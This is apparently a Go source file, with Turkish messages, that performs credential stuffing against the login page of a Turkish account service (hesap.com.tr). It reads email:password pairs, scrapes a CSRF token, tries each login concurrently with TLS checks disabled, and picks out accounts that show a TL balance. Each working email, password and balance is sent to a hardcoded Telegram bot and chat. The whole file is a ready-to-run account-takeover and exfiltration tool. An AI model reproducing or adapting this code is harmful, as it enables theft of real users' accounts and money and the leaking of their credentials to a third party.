157 lines
3.7 KiB
Go
157 lines
3.7 KiB
Go
package main
|
||
|
||
import (
|
||
"bufio"
|
||
"crypto/tls"
|
||
"fmt"
|
||
"io"
|
||
"log"
|
||
"net/http"
|
||
"net/http/cookiejar"
|
||
"net/url"
|
||
"os"
|
||
"regexp"
|
||
"strings"
|
||
"sync"
|
||
)
|
||
|
||
const (
|
||
telegramToken = "7408806061:AAGy__Qhk05rjy....."
|
||
telegramChatID = "1342133634"
|
||
)
|
||
|
||
func main() {
|
||
fmt.Print("Hesaplar dosyasının adı: ")
|
||
var filename string
|
||
fmt.Scanln(&filename)
|
||
|
||
file, err := os.Open(filename)
|
||
if err != nil {
|
||
log.Fatalf("Dosya açılamadı: %v", err)
|
||
}
|
||
defer file.Close()
|
||
|
||
scanner := bufio.NewScanner(file)
|
||
var wg sync.WaitGroup
|
||
semaphore := make(chan struct{}, 10) // Aynı anda 30 işlem
|
||
|
||
for scanner.Scan() {
|
||
semaphore <- struct{}{}
|
||
wg.Add(1)
|
||
|
||
line := scanner.Text()
|
||
go func(line string) {
|
||
defer wg.Done()
|
||
defer func() { <-semaphore }()
|
||
|
||
jar, _ := cookiejar.New(nil)
|
||
client := &http.Client{
|
||
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
|
||
Jar: jar,
|
||
}
|
||
|
||
parts := strings.Split(line, ":")
|
||
if len(parts) != 2 {
|
||
fmt.Printf("Geçersiz format: %s\n", line)
|
||
return
|
||
}
|
||
|
||
email := parts[0]
|
||
password := parts[1]
|
||
|
||
csrfToken, err := getCSRFToken(client)
|
||
if err != nil {
|
||
log.Printf("CSRF token alınamadı: %v\n", err)
|
||
return
|
||
}
|
||
|
||
login(client, csrfToken, email, password)
|
||
}(line)
|
||
}
|
||
|
||
wg.Wait()
|
||
|
||
if err := scanner.Err(); err != nil {
|
||
log.Fatalf("Dosya okuma hatası: %v", err)
|
||
}
|
||
}
|
||
|
||
func getCSRFToken(client *http.Client) (string, error) {
|
||
req, err := http.NewRequest("GET", "https://hesap.com.tr/login", nil)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0")
|
||
req.Header.Set("Referer", "https://hesap.com.tr/login")
|
||
|
||
resp, err := client.Do(req)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
defer resp.Body.Close()
|
||
|
||
body, err := io.ReadAll(resp.Body)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
|
||
re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`)
|
||
matches := re.FindStringSubmatch(string(body))
|
||
if len(matches) < 2 {
|
||
return "", fmt.Errorf("CSRF token bulunamadı")
|
||
}
|
||
|
||
return matches[1], nil
|
||
}
|
||
|
||
func login(client *http.Client, csrfToken, email, password string) (bool, error) {
|
||
data := fmt.Sprintf("_token=%s&email=%s&password=%s", csrfToken, email, password)
|
||
req, err := http.NewRequest("POST", "https://hesap.com.tr/login", strings.NewReader(data))
|
||
if err != nil {
|
||
return false, err
|
||
}
|
||
|
||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0")
|
||
req.Header.Set("Referer", "https://hesap.com.tr/login")
|
||
|
||
resp, err := client.Do(req)
|
||
if err != nil {
|
||
return false, err
|
||
}
|
||
defer resp.Body.Close()
|
||
|
||
body, err := io.ReadAll(resp.Body)
|
||
if err != nil {
|
||
return false, err
|
||
}
|
||
|
||
if strings.Contains(string(body), "balance") {
|
||
re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`)
|
||
match := re.FindStringSubmatch(string(body))
|
||
if len(match) > 1 {
|
||
fmt.Printf("Live Acc: %s:%s\n", email, password)
|
||
fmt.Printf("TL Miktarı: %s\n", match[1])
|
||
sendTelegramNotification(email, password, match[1])
|
||
} else {
|
||
fmt.Println("Miktar bulunamadı.")
|
||
}
|
||
return true, nil
|
||
} else {
|
||
fmt.Printf("Dead Acc: %s:%s\n", email, password)
|
||
return false, nil
|
||
}
|
||
}
|
||
|
||
func sendTelegramNotification(email, password, balance string) {
|
||
message := fmt.Sprintf("Live Account Found!\nEmail: %s\nPassword: %s\nBalance: %s TL", email, password, balance)
|
||
escapedMessage := url.QueryEscape(message)
|
||
apiURL := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", telegramToken, telegramChatID, escapedMessage)
|
||
|
||
_, err := http.Get(apiURL)
|
||
if err != nil {
|
||
log.Printf("Telegram bildirimi gönderilemedi: %v", err)
|
||
}
|
||
}
|